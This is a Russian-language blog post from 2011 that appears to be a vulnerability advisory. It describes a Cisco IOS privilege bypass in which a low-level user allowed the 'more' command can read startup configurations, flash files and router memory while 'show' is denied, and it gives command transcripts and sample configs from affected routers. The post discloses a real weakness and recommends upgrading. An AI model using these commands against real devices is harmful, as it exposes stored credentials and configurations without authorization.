Страницы

среда, 20 июля 2011 г.

Больше Cisco, больше уязвимостей

Эксперты компании Positive Technologies обнаружили уязвимость в оборудовании Cisco, которая позволяет атакующему обойти некоторые ограничения доступа.
Замечено, что при использовании ограничения доступности команд привилегированного доступа, в частности команды more открывает потенциальную проблему безопасности, позволяющую получить доступ к конфигурации маршрутизатора хранимой в элементах nvram, system (RAM), flash
При настройке доступа к системной команде more, как  privilege exec level {number} more, в  отличие от команд типа show, доступ к дисковым элементам распространяется на все команды нижнего уровня, что может предоставить злоумышленнику несанкционированный доступ к памяти маршрутизатора и его элементам nvram, system (RAM), flash.
Проблемы данного уровня замечены на IOS маршрутизаторов и коммутаторов 12.2, 12.3, 12.4, 15.0

Подробнее:

IOS 12.2, 12.3 ограничивают доступ к получению конфигурации из system:running-config, но мешают производить чтение непосредственно памяти маршрутизатора (system:memory) для извлечения этих данных, также не ограниченно доступно чтение конфигурационных и иных файлов в flash и nvram маршрутизатора.

IOS 12.4, 15.0 в отличии от версий 12.2, 12.3, не ограничивают чтение из всех элементов nvram, system (RAM), flash маршрутизатора.

Пример 1. Получение конфигурации:
Cisco 3550-12T (12.2(50)SE)
C3550 Software (C3550-IPSERVICESK9-M), Version 12.2(50)SE)
Конфигурация устройства:
!
version 12.2
no service pad
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname C3550
!
!
snmp-server community <removed> RO
!
control-plane
!
privilege exec level 8 access-template
privilege exec level 8 clear access-template
privilege exec level 8 clear
privilege exec level 3 more
privilege exec level 3 show
!
line con 0
line vty 5 15
!
end
Вывод команд show:

C3550#show running-config
            ^
% Invalid input detected at '^' marker.

C3550#show startup-config
              ^
% Invalid input detected at '^' marker.

Вывод команд more:

C3550#more flash:config.text
!
version 12.2
no service pad
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname C3550
!
enable secret 5 <password>
!
username ptuser privilege 3 password 7 <password>
aaa new-model
!
snmp-server community <removed> RO
!
control-plane
!
privilege exec level 8 access-template
privilege exec level 8 clear access-template
privilege exec level 8 clear
privilege exec level 3 more
privilege exec level 3 show
!
line con 0
line vty 5 15
!
end


C3550#more nvram:startup-config
!
version 12.2
no service pad
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname C3550
!
enable secret 5 <password>
!
username ptuser privilege 3 password 7 <password>
aaa new-model
!
snmp-server community <removed> RO
!
control-plane
!
privilege exec level 8 access-template
privilege exec level 8 clear access-template
privilege exec level 8 clear
privilege exec level 3 more
privilege exec level 3 show
!
line con 0
line vty 5 15
!
end


C3550#more system:?
system:default-running-config  system:memory  system:running-config
system:vfiles

C3550#more system:running-config
00000000:  0A210A21 0A210A21 0A210A21 0A656E64    .!.! .!.! .!.! .end
00000010:  0AXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX    .XXX XXXX XXXX XXXX

Версия IOS 12.3(4)T2
ROM: 3700 Software (C3745-A3JK9S-M), Version 12.3(4)T2,  RELEASE SOFTWARE (fc1)

Конфигурация устройства:

version 12.3
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
!
hostname Router
!
boot-start-marker
boot-end-marker
!
username ptuser privilege 3 secret 5 <removed>
no aaa new-model
ip subnet-zero
!
ip ssh break-string
!
no crypto isakmp enable
!
interface FastEthernet0/0
 ip address <removed>
 duplex auto
 speed auto
!
interface FastEthernet0/1
 no ip address
 shutdown
 duplex auto
 speed auto
!
ip http server
no ip http secure-server
ip classless
!
control-plane
!
privilege exec level 3 more
privilege exec level 3 show
!
line con 0
line aux 0
line vty 0 4
login local
!
end

Вывод команд show:

Router#show running-config
             ^
% Invalid input detected at '^' marker.

Router#show startup-config
               ^
% Invalid input detected at '^' marker.

Вывод команд more:

Router#more nvram:startup-config

!
version 12.3
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
!
hostname Router
!
boot-start-marker
boot-end-marker
!
username ptuser privilege 3 secret 5 <removed>
no aaa new-model
ip subnet-zero
!
ip ssh break-string

Таким образом, несмотря на то, что доступ к просмотру конфигурации устройства с помощью команды “show запрещен, существует возможность получить конфигурацию через команду “more


Пример2. Работа с памятью устройства
Возможность работать с чтением памяти устройства Cisco, получение history и конфигураций возможна с использованием команды «more system:memory/main»




Рисунок 1 – История вводимых команд (в том числе пароли)




Рисунок 2 – получение конфигурации устройства через память


Рекомендации:
Установить версию, не подверженную данной уязвимости.
Подробности можно найти, перейдя по ссылке: http://tools.cisco.com/Support/BugToolKit/search/getBugDetails.do?method=fetchBugDetails&bugId=CSCtk17827

Комментариев нет:

Отправить комментарий